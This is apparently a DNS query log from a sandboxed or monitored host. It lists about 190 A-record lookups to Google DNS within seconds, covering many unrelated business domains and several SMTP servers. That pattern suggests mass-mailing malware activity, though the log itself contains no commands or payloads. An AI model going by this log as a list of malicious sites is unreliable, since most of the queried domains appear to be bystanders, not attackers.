Jul 27, 2023 21:54:20.604669094 CEST	192.168.2.4	8.8.8.8	0xab53	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.615303040 CEST	192.168.2.4	8.8.8.8	0x3001	Standard query (0)	smtp.compuserve.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.618376970 CEST	192.168.2.4	8.8.8.8	0xba21	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.726505995 CEST	192.168.2.4	8.8.8.8	0x5736	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.790977001 CEST	192.168.2.4	8.8.8.8	0x2333	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.799408913 CEST	192.168.2.4	8.8.8.8	0xaea6	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.816315889 CEST	192.168.2.4	8.8.8.8	0x5e42	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.901540041 CEST	192.168.2.4	8.8.8.8	0x1ad2	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.951232910 CEST	192.168.2.4	8.8.8.8	0x880b	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.958947897 CEST	192.168.2.4	8.8.8.8	0xad8b	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.011486053 CEST	192.168.2.4	8.8.8.8	0xe4e2	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.222362995 CEST	192.168.2.4	8.8.8.8	0x59f1	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.255671978 CEST	192.168.2.4	8.8.8.8	0x7a37	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.339324951 CEST	192.168.2.4	8.8.8.8	0x861d	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.677352905 CEST	192.168.2.4	8.8.8.8	0x397b	Standard query (0)	webavant.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.699770927 CEST	192.168.2.4	8.8.8.8	0x39ec	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.722924948 CEST	192.168.2.4	8.8.8.8	0x5736	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.755754948 CEST	192.168.2.4	8.8.8.8	0xb897	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.773644924 CEST	192.168.2.4	8.8.8.8	0xf223	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.807967901 CEST	192.168.2.4	8.8.8.8	0x847f	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.838239908 CEST	192.168.2.4	8.8.8.8	0xa5c5	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.861493111 CEST	192.168.2.4	8.8.8.8	0xd576	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.864770889 CEST	192.168.2.4	8.8.8.8	0x91f8	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.885308027 CEST	192.168.2.4	8.8.8.8	0x757a	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:21.979450941 CEST	192.168.2.4	8.8.8.8	0x5bab	Standard query (0)	peminet.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.056061983 CEST	192.168.2.4	8.8.8.8	0xc4a3	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.056272030 CEST	192.168.2.4	8.8.8.8	0x58f9	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.083796024 CEST	192.168.2.4	8.8.8.8	0xa441	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.097800970 CEST	192.168.2.4	8.8.8.8	0xb5d7	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.109435081 CEST	192.168.2.4	8.8.8.8	0x7050	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.161786079 CEST	192.168.2.4	8.8.8.8	0x51fb	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.168895960 CEST	192.168.2.4	8.8.8.8	0xfd1d	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.226248980 CEST	192.168.2.4	8.8.8.8	0x59f1	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.619288921 CEST	192.168.2.4	8.8.8.8	0x3951	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.627598047 CEST	192.168.2.4	8.8.8.8	0xf74a	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.657480001 CEST	192.168.2.4	8.8.8.8	0x377b	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.657597065 CEST	192.168.2.4	8.8.8.8	0x7868	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.823456049 CEST	192.168.2.4	8.8.8.8	0xb3f8	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.869745970 CEST	192.168.2.4	8.8.8.8	0x88cb	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:22.908281088 CEST	192.168.2.4	8.8.8.8	0x785c	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.016248941 CEST	192.168.2.4	8.8.8.8	0x5736	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.117116928 CEST	192.168.2.4	8.8.8.8	0x340f	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.255065918 CEST	192.168.2.4	8.8.8.8	0xb615	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.301553011 CEST	192.168.2.4	8.8.8.8	0x841a	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.342061043 CEST	192.168.2.4	8.8.8.8	0x6244	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.368211031 CEST	192.168.2.4	8.8.8.8	0x326d	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.371471882 CEST	192.168.2.4	8.8.8.8	0x29b0	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.372461081 CEST	192.168.2.4	8.8.8.8	0x8c02	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.773598909 CEST	192.168.2.4	8.8.8.8	0x9655	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.774916887 CEST	192.168.2.4	8.8.8.8	0x4ef4	Standard query (0)	shteeble.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.774916887 CEST	192.168.2.4	8.8.8.8	0x69ee	Standard query (0)	kairel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.788064957 CEST	192.168.2.4	8.8.8.8	0x4315	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.789695978 CEST	192.168.2.4	8.8.8.8	0xe4a8	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.801740885 CEST	192.168.2.4	8.8.8.8	0x9021	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.812222004 CEST	192.168.2.4	8.8.8.8	0x7f31	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.823863029 CEST	192.168.2.4	8.8.8.8	0x5450	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.828391075 CEST	192.168.2.4	8.8.8.8	0x7722	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:23.952611923 CEST	192.168.2.4	8.8.8.8	0x3dfe	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:24.085614920 CEST	192.168.2.4	8.8.8.8	0xca9f	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:24.099224091 CEST	192.168.2.4	8.8.8.8	0xdf9f	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:24.168457985 CEST	192.168.2.4	8.8.8.8	0x48af	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.003736019 CEST	192.168.2.4	8.8.8.8	0xb615	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.189580917 CEST	192.168.2.4	8.8.8.8	0x5736	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.248733997 CEST	192.168.2.4	8.8.8.8	0xa88e	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.310669899 CEST	192.168.2.4	8.8.8.8	0xea3f	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.412501097 CEST	192.168.2.4	8.8.8.8	0x1008	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.436974049 CEST	192.168.2.4	8.8.8.8	0xb83	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.444696903 CEST	192.168.2.4	8.8.8.8	0x1718	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.445396900 CEST	192.168.2.4	8.8.8.8	0x201c	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.489054918 CEST	192.168.2.4	8.8.8.8	0x8d01	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.660762072 CEST	192.168.2.4	8.8.8.8	0xb76e	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.682959080 CEST	192.168.2.4	8.8.8.8	0xe439	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.752950907 CEST	192.168.2.4	8.8.8.8	0xf26c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.787075043 CEST	192.168.2.4	8.8.8.8	0x4ed9	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:25.960911036 CEST	192.168.2.4	8.8.8.8	0xe29b	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.020941019 CEST	192.168.2.4	8.8.8.8	0xb615	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.209052086 CEST	192.168.2.4	8.8.8.8	0x6c5e	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.290888071 CEST	192.168.2.4	8.8.8.8	0xdcb6	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.400434017 CEST	192.168.2.4	8.8.8.8	0x5762	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.405708075 CEST	192.168.2.4	8.8.8.8	0x9238	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.683383942 CEST	192.168.2.4	8.8.8.8	0x4b51	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.775466919 CEST	192.168.2.4	8.8.8.8	0xf26c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.921194077 CEST	192.168.2.4	8.8.8.8	0x9096	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.924138069 CEST	192.168.2.4	8.8.8.8	0xd815	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:26.985078096 CEST	192.168.2.4	8.8.8.8	0x5669	Standard query (0)	t-mould.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.100132942 CEST	192.168.2.4	8.8.8.8	0xd5b1	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.218529940 CEST	192.168.2.4	8.8.8.8	0xc1dc	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.221561909 CEST	192.168.2.4	8.8.8.8	0x6093	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.231045008 CEST	192.168.2.4	8.8.8.8	0x5925	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.305473089 CEST	192.168.2.4	8.8.8.8	0x6bbc	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.580418110 CEST	192.168.2.4	8.8.8.8	0xbfdb	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.626279116 CEST	192.168.2.4	8.8.8.8	0x4cbf	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.629072905 CEST	192.168.2.4	8.8.8.8	0x1e06	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.653156996 CEST	192.168.2.4	8.8.8.8	0xcbb	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.678004980 CEST	192.168.2.4	8.8.8.8	0x9822	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.770423889 CEST	192.168.2.4	8.8.8.8	0xf26c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.994383097 CEST	192.168.2.4	8.8.8.8	0x1794	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.022459984 CEST	192.168.2.4	8.8.8.8	0xb615	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.068325043 CEST	192.168.2.4	8.8.8.8	0x7ff	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.177970886 CEST	192.168.2.4	8.8.8.8	0xe700	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.292895079 CEST	192.168.2.4	8.8.8.8	0xfd9c	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.302715063 CEST	192.168.2.4	8.8.8.8	0xd3fe	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.333406925 CEST	192.168.2.4	8.8.8.8	0x54df	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.357023954 CEST	192.168.2.4	8.8.8.8	0x4d72	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.414030075 CEST	192.168.2.4	8.8.8.8	0x8ffe	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.420510054 CEST	192.168.2.4	8.8.8.8	0xfd5a	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.428606987 CEST	192.168.2.4	8.8.8.8	0xa06e	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.428606987 CEST	192.168.2.4	8.8.8.8	0xb864	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.429121971 CEST	192.168.2.4	8.8.8.8	0x6488	Standard query (0)	apcotex.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.461647034 CEST	192.168.2.4	8.8.8.8	0x7727	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.474740982 CEST	192.168.2.4	8.8.8.8	0x7e4b	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.496035099 CEST	192.168.2.4	8.8.8.8	0x9e22	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.708106041 CEST	192.168.2.4	8.8.8.8	0xaaea	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.715857029 CEST	192.168.2.4	8.8.8.8	0x806c	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.748595953 CEST	192.168.2.4	8.8.8.8	0xab83	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.783817053 CEST	192.168.2.4	8.8.8.8	0x637f	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.981617928 CEST	192.168.2.4	8.8.8.8	0x5bd4	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.092103958 CEST	192.168.2.4	8.8.8.8	0xbee8	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.139424086 CEST	192.168.2.4	8.8.8.8	0x26a5	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.178397894 CEST	192.168.2.4	8.8.8.8	0xb874	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.193645954 CEST	192.168.2.4	8.8.8.8	0xfdca	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.272273064 CEST	192.168.2.4	8.8.8.8	0xde8a	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.274521112 CEST	192.168.2.4	8.8.8.8	0x4a7d	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.328036070 CEST	192.168.2.4	8.8.8.8	0x7c98	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.563173056 CEST	192.168.2.4	8.8.8.8	0x5ad8	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.730781078 CEST	192.168.2.4	8.8.8.8	0xf1c7	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.833606005 CEST	192.168.2.4	8.8.8.8	0xf26c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.850017071 CEST	192.168.2.4	8.8.8.8	0x83ac	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.884744883 CEST	192.168.2.4	8.8.8.8	0xd103	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.013042927 CEST	192.168.2.4	8.8.8.8	0x6eaf	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.013979912 CEST	192.168.2.4	8.8.8.8	0x13f4	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.031606913 CEST	192.168.2.4	8.8.8.8	0x6b0b	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.055237055 CEST	192.168.2.4	8.8.8.8	0xf7b3	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.123990059 CEST	192.168.2.4	8.8.8.8	0x20c1	Standard query (0)	missnue.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.123990059 CEST	192.168.2.4	8.8.8.8	0xc7f0	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.237504959 CEST	192.168.2.4	8.8.8.8	0x62f7	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.259123087 CEST	192.168.2.4	8.8.8.8	0xc6cf	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.293442011 CEST	192.168.2.4	8.8.8.8	0x3d22	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.324044943 CEST	192.168.2.4	8.8.8.8	0xf9ed	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.380872965 CEST	192.168.2.4	8.8.8.8	0x5671	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.412077904 CEST	192.168.2.4	8.8.8.8	0x502f	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.475678921 CEST	192.168.2.4	8.8.8.8	0x9b76	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.524859905 CEST	192.168.2.4	8.8.8.8	0xe53e	Standard query (0)	at-shun.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.635931015 CEST	192.168.2.4	8.8.8.8	0x30c	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.681339025 CEST	192.168.2.4	8.8.8.8	0xbab1	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.770596027 CEST	192.168.2.4	8.8.8.8	0x727	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.993798018 CEST	192.168.2.4	8.8.8.8	0x928a	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.084621906 CEST	192.168.2.4	8.8.8.8	0xe514	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.142823935 CEST	192.168.2.4	8.8.8.8	0xcd92	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.393673897 CEST	192.168.2.4	8.8.8.8	0xbc13	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.397202015 CEST	192.168.2.4	8.8.8.8	0x29f8	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.397315979 CEST	192.168.2.4	8.8.8.8	0x6098	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.398010969 CEST	192.168.2.4	8.8.8.8	0x208e	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.398932934 CEST	192.168.2.4	8.8.8.8	0xba99	Standard query (0)	deckoviny.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.399774075 CEST	192.168.2.4	8.8.8.8	0x1127	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.399899960 CEST	192.168.2.4	8.8.8.8	0xd9bc	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.400470018 CEST	192.168.2.4	8.8.8.8	0x7f3	Standard query (0)	missnue.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.401170015 CEST	192.168.2.4	8.8.8.8	0xff69	Standard query (0)	akr.co.id	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.401844025 CEST	192.168.2.4	8.8.8.8	0x1328	Standard query (0)	nekono.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.405430079 CEST	192.168.2.4	8.8.8.8	0xe2a6	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.405430079 CEST	192.168.2.4	8.8.8.8	0x84c6	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.406037092 CEST	192.168.2.4	8.8.8.8	0x38fd	Standard query (0)	shteeble.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.406817913 CEST	192.168.2.4	8.8.8.8	0x14f0	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.407383919 CEST	192.168.2.4	8.8.8.8	0xfad0	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.408075094 CEST	192.168.2.4	8.8.8.8	0x5b8c	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.408075094 CEST	192.168.2.4	8.8.8.8	0x6342	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.409121990 CEST	192.168.2.4	8.8.8.8	0x42d4	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.409497023 CEST	192.168.2.4	8.8.8.8	0x9ee	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.409689903 CEST	192.168.2.4	8.8.8.8	0x9df5	Standard query (0)	adeesa.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.441979885 CEST	192.168.2.4	8.8.8.8	0x36ab	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.442049980 CEST	192.168.2.4	8.8.8.8	0x4b42	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.443116903 CEST	192.168.2.4	8.8.8.8	0x723e	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.443705082 CEST	192.168.2.4	8.8.8.8	0xb8c8	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.443706036 CEST	192.168.2.4	8.8.8.8	0x2671	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.445730925 CEST	192.168.2.4	8.8.8.8	0x2ee9	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.446254015 CEST	192.168.2.4	8.8.8.8	0x911e	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.455550909 CEST	192.168.2.4	8.8.8.8	0x851b	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.456062078 CEST	192.168.2.4	8.8.8.8	0x16ab	Standard query (0)	sanfotek.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.465287924 CEST	192.168.2.4	8.8.8.8	0x1966	Standard query (0)	deckoviny.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.471940994 CEST	192.168.2.4	8.8.8.8	0xa154	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.474951029 CEST	192.168.2.4	8.8.8.8	0xa920	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.477448940 CEST	192.168.2.4	8.8.8.8	0xec52	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.480483055 CEST	192.168.2.4	8.8.8.8	0x9cb7	Standard query (0)	deckoviny.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.487701893 CEST	192.168.2.4	8.8.8.8	0xbf3c	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.489552975 CEST	192.168.2.4	8.8.8.8	0x4f	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.489665985 CEST	192.168.2.4	8.8.8.8	0xe10e	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.494291067 CEST	192.168.2.4	8.8.8.8	0xa483	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.496571064 CEST	192.168.2.4	8.8.8.8	0xaaaf	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.500336885 CEST	192.168.2.4	8.8.8.8	0x3876	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.500921011 CEST	192.168.2.4	8.8.8.8	0x75e8	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
